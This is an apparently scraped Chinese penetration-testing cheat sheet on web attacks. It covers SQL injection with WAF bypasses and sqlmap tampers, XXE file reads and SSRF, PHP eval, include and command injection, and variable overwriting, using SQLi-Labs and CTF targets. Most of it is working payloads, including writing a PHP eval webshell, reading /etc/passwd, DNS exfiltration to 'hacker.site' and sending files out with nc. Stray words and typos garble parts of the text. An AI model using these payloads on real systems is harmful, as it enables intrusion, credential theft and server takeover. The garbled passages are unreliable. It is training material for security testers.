【技巧總結】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代碼注入、命令執行、變量覆蓋、XSS)

三、Web安全基礎

3.一、HTTP協議

1)TCP/IP協議-HTTPjavascript

  • 應用層:HTTP、FTP、TELNET、DNS、POP3
  • 傳輸層:TCP、UDP
  • 網絡層:IP、ICMP、ARP

2)經常使用方法-Methodphp

  • GET:向特定的資源發出請求
  • POST:向指定資源提交數據進行處理請求(例如提交表單或者上傳文件)。數據被包含在請求體中。POST請求可能會致使新的資源的創建和/或已有資源的修改。
  • HEAD:向服務器索與GET請求相一致的響應,只不過響應體將不會被返回。這一方法能夠在沒必要傳輸整個響應內容的狀況下,就能夠獲取包含在響應小消息頭中的元信息。
  • PUT:向指定資源位置上傳其最新內容。
  • DELETE:請求服務器刪除Request-URL所標識的資源。
  • OPTIONS:返回服務器針對特定資源所支持的HTTP請求方法,也能夠利用向web服務器發送‘*’的請求來測試服務器的功能性。
  • TRACE:回顯服務器收到的請求,主要用於測試或診斷。

2) HTTP-常見的響應狀態碼*css

  • 1xx:指示信息—表示請求已接收,繼續處理。
  • 2xx:成功—表示請求已經被成功接收、理解、接受。
  • 3xx:重定向—要完成請求必須進行更進一步的操做。
  • 4xx:客戶端錯誤—請求有語法錯誤或請求沒法實現。
  • 5xx:服務器端錯誤—服務器未能實現合法的請求。

3.二、SQL注入

SQL注入是直接面對數據庫進行攻擊的。主要有如下幾種危害:html

1.權限較大狀況下,能夠經過SQL注入直接寫入webshell或者直接執行系統命令。html5

2.權限較小狀況下,可經過注入得到管理員權限、拖庫等等java

易發問題點python

SQL注入常常出如今登錄頁面、獲取HTTP頭(user-agent/client-ip等)、訂單處理等地方。登錄頁面主要發生在HTTP頭中的client-ip和x-forward-for,這些通常用來記錄登錄的ip。mysql

注入類型linux

  • 回顯注入git

  • 報錯注入

  • Boolean盲注

  • Timing盲注

MySQL內置函數

version()                版本
database()               數據名
user() 
current_user()           當前登陸用戶
@@datadir                數據庫路徑
@@basedir                mysql安裝路徑
@@version_compile_os     操做系統
concat_ws()              將多個字符串鏈接成一個字符串

SQL注入常見後臺拼接語句

1.$sql=」SELECT * FROM users WHERE id=’$id’ LIMIT 0,1」;(需閉合’)
2.$sql=」SELECT * FROM users WHERE id=$id LIMIT 0,1」;
3.$sql=」SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1」;(需閉合’))
4.$id = ‘」’ . $id . ‘」’;
  $sql=」SELECT * FROM users WHERE id=($id) LIMIT 0,1」;
  即$sql=」SELECT * FROM users WHERE id=(「$id」) LIMIT 0,1」;(需閉合」),此時你輸入’不會報錯)
5.$sql=」SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1」;(少見)

MySQL5注入枚舉數據庫步驟

# 獲取數據庫
select * from users where id='1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0(開始的記錄,0爲第一個開始記錄),1(顯示1條記錄)--+

# 獲取表名

select * from users where id='1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='數據庫名字'(最經常使用的是十六進制表示的數據庫,’容易被過濾) limit 3,1--+


# 獲取列名

select * from users where id='1' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=0x十六進制數據庫 and table_name=0x十六進制表 limit 0,1--+

# 獲取內容

select * from users where id='1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password)(concat_ws用法:分割符,列名) from users(表名) limit 0,1--+

ascii碼中32是空格,58是:

注入剖析

  • 回顯注入

有回顯,能夠看到某些字段的回顯結果(一般)

猜解出字段數目

最方便的注入方式就是使用Union語句填充查詢結果,額外執行一次查詢

select * from news where id = 1 union select 1,2,3,4;
  • 報錯注入

無正常回顯時報錯注入。

# floor() 語句:

and (select 1 from (select count(*),concat(char(0x7E),(select user()),char(0x7E),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

# updatexml() 語句:

and (updatexml(1,concat(0x3a,(select user())),1));

# ExtractValue() 和upadtexml()用法差很少語句:

and extractvalue(1, concat(0x5c, (select user())));
  • Boolean盲注

在沒有數據回顯的狀況下,能夠存在不一樣的頁面內容回顯

一般逐個爆破猜解,效率偏低

思路:利用回顯的不一樣推測SQL語句執行的結果是True仍是False

# SQLi-Labs Less 11 Payload:

admin' and password>'adm123'


# HTTP REQUEST

POST /Less-11/ HTTP/1.1
Host: localhost
Content-Length: 67
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=admin' and password>'adm§123§'#&passwd=asd&submit=Submit


# 實際執行

SELECT username, password FROM users WHERE username='admin' and password>'ad8'#' and password='asd' LIMIT 0,1
  • Timing盲注

頁面不存在不一樣回顯,但SQL語句被執行

逐個爆破猜解+時間延遲,效率最低

利用:if (query=True) delay(1000);else pass;的程序邏輯,經過觀察是否發生了時間延遲來推測SQL語句的執行狀況是否爲True

payload:

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件爲假,執行sleep

截取字符串相關函數:

length(str):返回str字符串的長度。
substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。注意這裏的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len):跟上面的同樣,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代碼值。
ord(str):同上,返回ascii碼
if(a,b,c) :a爲條件,a爲true,返回b,不然返回c,如if(1>2,1,0),返回0
left(database(),1) 取database字符串的左邊第一個沒法報錯注入,嘗試盲注

SQL注入示例

  • SQLi-Labs Less1 測試Payload
# 測試Pyaload

' and 1=1
‘ and 1=2
') and 1=1
'--+
"--+
'/**/and/**/1=1%23


# 讀取數據庫
http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,schema_name from information_schema.schemata limit 0,1 %23


+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+


# 讀取數據庫表名

http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1 %23

+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+

# 獲取列名

http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+

+----+----------+----------+
| id | username | password |
+----+----------+----------+


# 獲取內容

http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password) from users limit 0,1--+


# 報錯注入

http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select user())),1)) %23

http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select username from users limit 2,1)),1)) %23

文件讀寫

讀取敏感文件,權限較大時,能夠直接寫shell

  • 函數說明
@@basedir        獲取MySQL位置
load_file()    :讀取文件
into dumpfile():導出文件
into outfile() :導出文件
  • 測試語句
# 先嚐試可否得到路徑,不能的話,就嘗試經常使用的路徑

http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,@@basedir%23 

# 讀取密碼文件 

http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(‘/etc/passwd’)%23

# 變換形式 - ascii編碼 

- 轉換方法

mysql> select conv(hex('D'),16,10);
+----------------------+
| conv(hex('D'),16,10) |
+----------------------+
| 68                   |
+----------------------+
1 row in set (0.00 sec)


- 轉換形式 解碼

mysql> select char(68,58,92,92,84,69,83,84,46,116,120,116);
+----------------------------------------------+
| char(68,58,92,92,84,69,83,84,46,116,120,116) |
+----------------------------------------------+
| D:\\TEST.txt                                 |
+----------------------------------------------+

- Payload

http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(char(68,58,92,92,84,69,83,84,46,116,120,116))%23



# 變換形式 - hex編碼 

- 轉換方法

mysql> select hex("D:\\test.txt");
+------------------------+
| hex("D:\\test.txt")    |
+------------------------+
| 443A5C746573742E747874 |
+------------------------+
1 row in set (0.00 sec)


- 轉換形式  解碼

mysql> SELECT X'443A5C746573742E747874';
+---------------------------+
| X'443A5C746573742E747874' |
+---------------------------+
| D:\test.txt               |
+---------------------------+
1 row in set (0.00 sec)


- Payload

16進制編碼導出文件內容到網頁可訪問頁面,從而獲取數據

http://localhost/Less-1/index.php?id=1'/**/and/**/1=2/**/union/**/select/**/1,load_file(0x443A5C746573742E747874)%23
  • 寫文件

file_name處要指定絕對路徑,不然就會導出到mysql的目錄下。同時對需導出的目錄有可寫權限。

SELECT * INTO OUTFILE 'file_name’

SELECT * INTO DUMPFILE ‘file_name’

獲取Webshell的前提是知道網站的絕對物理路徑,這樣導出後的webshell可訪問

select "<?php eval($_POST['z']);?>" into outfile'D:/web/shell.php';

# Tips:

secure-file-priv這個參數限制了outfile、dumpfile的導入導出權限。使用show命令能夠看到secure_file_priv的配置。

mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+


- 當Null的時候,表示限制MySQL的導入|導出
- 當爲某個根目錄的時候,表示限制爲只能在指定目錄導入|導出
- 當沒有具體值得時候,表示不對導入|導出的目錄限制

Waf繞過

  • 雙寫關鍵字
# 應對

簡單的將select、or等關鍵字替換爲空字符串的防護

# payload

seselectlectfrom 、where username='x' OorR1=1
  • 大小寫繞過
# 應對

簡單的區分大小寫的關鍵字匹配,好比php中preg_match函數沒有加/i參數

# payload

SelecT,Or
  • 編碼繞過
•ASCII:

例如admin能夠用char(97)+char(100)+char(109)+char(105)+char(110)代替

select * from users where username=(char(97)+char(100)+char(109)+char(105)+char(110))
select * from users where username=char(97,100,109,105,110);

•16進制:

mysql> select extractvalue(0x3C613E61646D696E3C2F613E,0x2f61);
+-------------------------------------------------+
| extractvalue(0x3C613E61646D696E3C2F613E,0x2f61) |
+-------------------------------------------------+
| admin                                           |
+-------------------------------------------------+
1 row in set (0.00 sec)

•unicode編碼:

單引號——%u0027 、%u02b九、%u02bc、%u02c八、%u203二、%uff07

•URL編碼:

or 1=1——%6f%72%20%31%3d%31
  • 變換關鍵字繞過
Or    <------------>  ||、and  <--------> &&

空格被限制:select(username)from(admin)

科學計數法繞過:where username=1e1union select

mysql> select * FROM users where username=1e1union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

 =、<、>被限制:where id in (1,2)、where id between 1 and 三、like

access中使用dlookup繞過select from被限制:(user=12',info=dlookup('[user]','userinfo','[id]=1')%00)
  • 特殊字符
空格被限制:/**/、%a0、%0a、%0d、%0九、tab....

內聯註釋:select 1 from /*!admin*/ /*!union*/ select 2,

mysql> select * FROM users where id = 1 /*!and 1=2*/ /*!union*/ select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

MYSQL對%00不會截斷:se%00lect

單一%號,在asp+iis中會被忽略:sel%ect

``mysql反引號之間的會被當作註釋內容
  • 二次注入

攻擊者將惡意SQL語句插入到數據庫中,程序對數據庫內容毫無防備,直接帶入查詢。

對來自於內部的輸入輸出過於信任。

  • 寬字節

不少程序使用gbk編碼的狀況下,和unicode編碼的組成形式不一樣形成這樣的漏洞。

當數據庫使用了寬字符集(如GBK),會將一些兩個字符單作一個字符,如:0xbf2七、0xbf5c

反斜槓是0x5c,使用addslashes()等轉義函數在處理輸入時會將'、、」這些字符用反斜槓轉義,輸入0xbf27,轉之後變成了0xbf5c27,5c被當作了漢字一部分,單引號0x27逃逸出來。前提條件是前一個ascii碼要大於128,纔到漢字的範圍。

# SQLi-Labs Less32測試語句
http://localhost/Less-32/index.php?id=1%df%27 and 1=2 union select 1,2,3--+

以上語句在MySQL中查詢其實已經變成了一個漢字,單引號逃逸了出來。由於’被轉義成\’,而前面的%df與轉義符號\(%5c)組合成了%df%5c,即運字。從而吃掉了\,致使單引號能夠閉合

# 實際查詢語句

SELECT * FROM users WHERE id='1運' and 1=2 union select 1,2,3-- ' LIMIT 0,1
  • DNS傳輸

SQL Server的DNS注入和MySQl稍有不容,但都是利用了SMB協議。其中的.hacker.site是搭建的DNS域名服務器的地址。

http://ceye.io 是提供DNS傳輸服務的網址。

select load_file(concat('\\',version(),'.hacker.site\a.txt')); 
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

SQLMAP經常使用參數

  • POST注入
python sqlmap.py -r ~/Desktop/sqlmap.txt --level 3 --risk 3
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3
  • 讀取文件
sqlmap.py -u "http://localhost/vulnerabilities/fu1.php?id=1" --level 5 --risk 3 --file-read /tmp/key
  • temper組合使用
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3 -v --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py


# 讀取庫、表、列
sqlmap.py -u "" --dbs --level 5 --risk 3 -v 3 --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10

# 讀取文件
sqlmap.py -u "" --file-read "" --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10
  • space2comment.py:空格轉/**/的形式注入。
  • radomcase.py:大小寫變換
  • space2mysqldash.py:變換關鍵字

手動繞過

多個關鍵字替換

http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uniunionon/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23

http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uunionnion/**/select/**/1,2,3,4,5,6,7/**/anandd/**/(%27

http://localhost/vulnerabilities/fu1.php?id=1')/**/aandnd/**/1=2/**/uunionnion/**/select/**/1,2,load_file('/etc/passwd'),4,5,6,7/**/anandd/**/('

SQL注入防護

字符串拼接形式:

過濾單引號、雙引號、反斜槓等等關鍵詞

轉義:addslashes、mysqli_real_escape_string

使用pdo:

在PHP5.3.6及如下版本須要設置setAttribute(PDO::ATTR_EMULATE_PREPARES,false);來禁用preparedstatement仿真效果

3.三、XXE

基礎知識

  • XML基礎

XML(Extensible Markup Language)被設計用來傳輸和存儲數據。

文檔類型定義:DTDwikipedia關於這的描述是:The XML DTD syntax is one of several XML schema languages。DTD的做用是定義XML文檔的合法構建模塊。實體也是構建模塊之一。所以能夠利用DTD來內部或外部引入實體。經過引用定義在外部的DTD中的實體,咱們稱之爲外部實體。

<!DOCTYPE 根元素名 [元素描述]>

內部引用

<!ENTITY 實體名稱 "實體的值">

外部引用

<!ENTITY 實體名稱 SYSTEM "URI">
  • 函數說明
SimpleXML 函數
simplexml_import_dom  — 從DOM節點獲取SimeXMLEngle對象
simplexml_load_file   — 將XML文件解釋爲對象
simplexml_load_string — 將XML字符串解釋爲對象

函數演示:

<?php
$dom = new domDocument;
$dom->loadXML('<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file "Hello World!"  >]>
<root>
<info>&file;</info>
</root>');

$xml = simplexml_import_dom($dom);

echo $xml->info;
?>

訪問該XML文檔,&file;會被解析爲Hello World!並輸出。

利用方式

利用文件協議讀取本地文件,好比file協議。

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher
phar

file協議讀取文件示例:

POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Referer: http://web.jarvisoj.com:9882/
Content-Length: 175
Cookie: __cfduid=d5003f0545042bbe0fbc573cda35051f71472823285; UM_distinctid=15abdd622a49f-02e5d4fef34197-7f682331-100200-15abdd622a5cf; role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:////home/ctf/flag.txt" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

漏洞代碼:

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
show_source(__FILE__);
$xmlfile = file_get_contents('php://input'); //接受POST請求
echo '<br>';
if(strlen($xmlfile)>0){

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom); //解析xml
$user = $creds->user;
$pass = $creds->pass;

echo "You have logged in as user $user";
}
?>

若是要讀取php文件,由於php、html等文件中有各類括號<,>,若直接用file讀取會致使解析錯誤,此時能夠利用php://filter將內容轉換爲base64後再讀取。

php://filter/read=convert.base64encode/rsource=

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >
    ]>
<root>
    <user>&file;</user>
    <pass>mypass</pass>
</root>

# 讀取passwd文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
    ]>
<root>
<user>&xxe;</user>
<pass>mypass</pass>
</root>

其餘攻擊方式

  • 命令執行

php環境下,xml命令執行要求php裝有expect擴展。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls"> # id
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
  • 內網探測/SSRF

因爲xml實體注入攻擊能夠利用http://協議發起http請求。因此能夠利用該請求去探查內網進行SSRF攻擊。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

xxe漏洞防護

配置XML處理器去使用本地靜態的DTD,不容許XML中含有任何本身聲明的DTD。經過設置相應的屬性值爲false,XML外部實體攻擊就可以被阻止。可將外部實體、參數實體和內聯DTD 都被設置爲false,避免基於XXE漏洞的攻擊。

3.四、代碼注入

應用有時須要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就能夠將惡意系統命令拼接到正常命令中,從而形成命令執行攻擊。

漏洞觸發點

  • 程序過濾不嚴謹,致使用戶能夠將代碼注入並執行。高危函數:eval()、assert()、preg_replace()、call_user_func()....

  • 文件包含注射,當allow_url_include=On ,PHP Version>=5.2.0 時,致使代碼注射。高危函數:include()、include_once()、require()、require_once()

  • 對於執行命令的函數,參數過濾不嚴謹,致使直接命令執行。高危函數:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()4.其餘:反引號(`)可正常執行命令,實質是調用shell_exec()函數

漏洞代碼

  • 命令執行 eval.php

eval和assert函數這兩個函數本來做用用於動態執行代碼。

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

Payload:

# windows
http://localhost/eval/index.php?hello=);eval($_GET['A']);//&A=system('whoami');
# linux
http://localhost/eval/index.php?hello=11);eval($_GET['c']);//&c=system('cat /etc/passwd');
# 一句話webshell
http://localhost/eval/index.php?hello=11);eval($_POST['c']);%2f%2f
  • 命令執行 preg_replace.php

preg_replace函數用於對字符串進行正則處理,搜索\(subject中匹配\)pattern的部分,以\(replacement替換。當pattern中存在/e模式修飾符,即\)replacement會被當作PHP代碼來執行。

函數原型:

mixed preg_replace(mixed $pattern, mixed $replacement,mixed $subject [, int $limit = -1 [,int&$count]] )

漏洞代碼:

<?php 
error_reporting(0);
show_source(__FILE__);

preg_replace("/\[(.*)\]/e","\\1",$_GET['str']);

Payload:

正則的意思是從$_GET[‘str’]變量裏搜索中括號[]中間的內容做爲第一組結果,preg_replace函數第二個參數爲‘\1’表明這裏用第一組結果填充,這裏是能夠直接執行代碼的。

http://localhost/learn/preg.php?str=[phpinfo()]
  • 文件包含 include.php

文件包含函數在特定條件下的代碼注射,如include()、include_once()、require()、require_once()。當allow_url_include=On ,PHP Version>=5.2.0 時,致使代碼注射。

<?php 
error_reporting(0);
show_source(__FILE__);
include($_GET['a']);

Payload:

# 本地文件包含

http://localhost/learn/include.php?a=../phpinfo.php


# data:text/plain

http://localhost/learn/include.php?a=data:text/plain,<?php phpinfo();?>

- data:text/plain base64形式

http://202.112.51.130/learn/include.php?a=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==


# php://僞協議>> 訪問各個輸入/輸出流

http://localhost/learn/include.php?a=php://filter/convert.base64-encode/resource=/etc/passwd

解開base64就獲得原文
Tips:當head頭有enctype=」multipart/form-data」 時,該僞協議無效。


# php://input形式

當hackbar發不出數據包,就用burpsuite構造數據包,實現一句話webshell效果

POST /learn/include.php?a=php://input HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4ln93lscu4sqfcn9je3u2660q2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

<?php system('pwd');?>

3.五、命令執行

高危函數:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()、system()—執行shell命令也就是向dos發送一條指令。

shell_exec()—經過shell環境執行命令,而且將完整的輸出以字符串的方式返回。

exec()—執行外部程序

passthru()—執行外部程序而且顯示原始輸出系統命令。

經過|、&、||起到命令鏈接的做用,利用輸入時的合理構造可使想要執行的命令和本來命令鏈接執行。

  • System.php
<?php
error_reporting(0);
show_source(__FILE__);

$dir = $_GET["dir"];
if(isset($dir))
{
    echo "<pre>";
    system("net user ".$dir);  //漏洞函數
    echo "</pre>";
}
?>

Payload:

http://localhost/system.php?dir=|whoami
  • backquote.php
<?php 
error_reporting(0);
show_source(__FILE__);

$a=$_GET['a'];
echo `$a`;  //反引號被解析

Payload:

http://localhost/learn/fan.php?a=ls
  • shell_exec.php
<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

Payload:

當過濾了特殊符號,能夠用換行符號的方法繞過繼續執行命令。換行測試方法 %0a

http://localhost/ping/index.php?ip=127.0.0.1%0Acat index.php

繞過方法

  • 查看文件
一、查看文件內容:
   cat    [file]
   tac    [file]
   more   [file]
   less   [file]
   head   [file]
   tail   [file]
二、改變key.php的文件後綴
    mv 1.php 1.txt
    cp 1.php 1.txt
    tar: tar -cf 打包後的文件名 打包文件名
三、文件處理:
   grep '關鍵字' [file_path] 
   awk '{print $0}' [file_path]
四、查看命令是否存在:
   which ls
五、下載命令:
   本地機器:Python -m SimpleHTTPServer
   目標機器 curl -o linux.php http://www.linux.com/text.php
           wget -O 保存的文件名.zip http://www.test.net/download.aspx
六、過濾cat,那麼嘗試經過管道命令利用NC發送文件。
   本機執行:nc -lvv -p 4444
   遠程機器執行:nc 172.168.0.27 4444 < ../key.php

3.六、變量覆蓋

變量覆蓋指的是用自定的參數值來替換程序原有的變量值,變量覆蓋漏洞一般須要結合程序其餘功能進行利用。大多由函數使用不當致使,主要有如下幾個函數:

$$,extract(),parse_str(),import_request_variables()等。

開啓了全局變量註冊也容易致使變量覆蓋。

  • $$ 變量覆蓋

使用foreach來遍歷數組中的值,而後再將獲取到的數組鍵名做爲變量,數組中的鍵值做爲變量的值。所以就產生了變量覆蓋漏洞。

漏洞代碼:

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);

include "flag.php";


$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("CTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;            // 變量覆蓋
foreach ($_POST as $key => $value)
    $$key = $value;             //$$ 
if ( $_POST["flag"] !== $flag )
    die($_403);                 //方法2:出現flag的關鍵位置
echo "This is your flag : ". $flag . "\n";
die($_200);                     //方法1:出現flag的關鍵位置
?>

代碼分析

題目中兩個foreach使用了$$產生變量覆蓋問題,知足條件後會將$flag裏面的值打印出來。題目有三個if判斷語句,當知足第一個if判斷語句的條件,可使用覆蓋$_200$403的方法打印出$flag變量的值。die($_200)die($_403)是能夠將$flag打印出來的地方。

Payload:

  • 方法1:
POST /shell.php?_200=flag HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Length: 6

flag=1
  • 方法2:
POST /shell.php?_403=flag&_POST=1 HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Length: 6

flag=1
  • extract()

extract() 該函數使用數組鍵名做爲變量名,使用數組鍵值做爲變量值。針對數組中的每一個元素,將在當前符號表中建立對應的一個變量。

題目使用了**extract($_GET)接收了GET請求中的數據,並將鍵名和鍵值轉換爲變量名和變量的值,而後再進行兩個if 的條件判斷,因此可使用GET提交參數和值,利用extract()**對變量進行覆蓋,從而知足各個條件。

<?php
$flag = "xxx";
extract($_GET);
if (isset($gift)) {
   $content = trim(file_get_contents($flag));
   if ($gift == $content) {
       echo "hctf{xx}";
   } else {
       echo "Oh..";
    }
} 
?>

Payload:

http://localhost//shell.php?flag=&gift=
  • parse_str()

若是 encoded_string 是 URL 傳遞入的查詢字符串(query string),則將它解析爲變量並設置到當前做用域(若是提供了 result 則會設置到該數組裏 )。

void parse_str ( string $encoded_string [, array &$result ] )

encoded_string
輸入的字符串。

result
若是設置了第二個變量 result, 變量將會以數組元素的形式存入到這個數組,做爲替代。

漏洞代碼

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
   include (‘flag.php’);
   $a = 「www.CTF.com」;
   $id = $_GET['id'];
    @parse_str($id);
    if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
        echo $flag;
    } else {
        exit(‘其實很簡單其實並不難!’);
    }
}
?>

分析:

代碼首先要求使用GET提交id參數,而後parse_str($id)對id參數的數據進行處理,再使用判斷$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)的結果是否爲真,爲真就返回flag。

md5(‘QNKCDZO’)的結果是0e830400451993494058024219903391若是要知足if判斷 if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’))就須要利用php弱語言特性。

Payload:

PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每個以」0E」開頭的哈希值都解釋爲0,因此若是兩個不一樣的密碼通過哈希之後,其哈希值都是以」0E」開頭的,那麼PHP將會認爲他們相同,都是0。

GET請求id=a[0]=240610708,這樣會將a[0]的值覆蓋爲240610708,而後通過md5後獲得0e462097431906509019562988736854與md5(‘QNKCDZO’)的結果0e830400451993494058024219903391比較都是0 因此相等,知足條件。


# MD5加密後,以0e開頭的值

QNKCDZO
0e830400451993494058024219903391
  
s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514
  
s1502113478a
0e861580163291561247404381396064
  
s1885207154a
0e509367213418206700842008763514
  
s1836677006a
0e481036490867661113260034900752
  
s155964671a
0e342768416822451524974117254469
  
s1184209335a
0e072485820392773389523109082030
  
s1665632922a
0e731198061491163073197128363787
  
s1502113478a
0e861580163291561247404381396064
  
s1836677006a
0e481036490867661113260034900752
  
s1091221200a
0e940624217856561557816327384675
  
s155964671a
0e342768416822451524974117254469
  
s1502113478a
0e861580163291561247404381396064
  
s155964671a
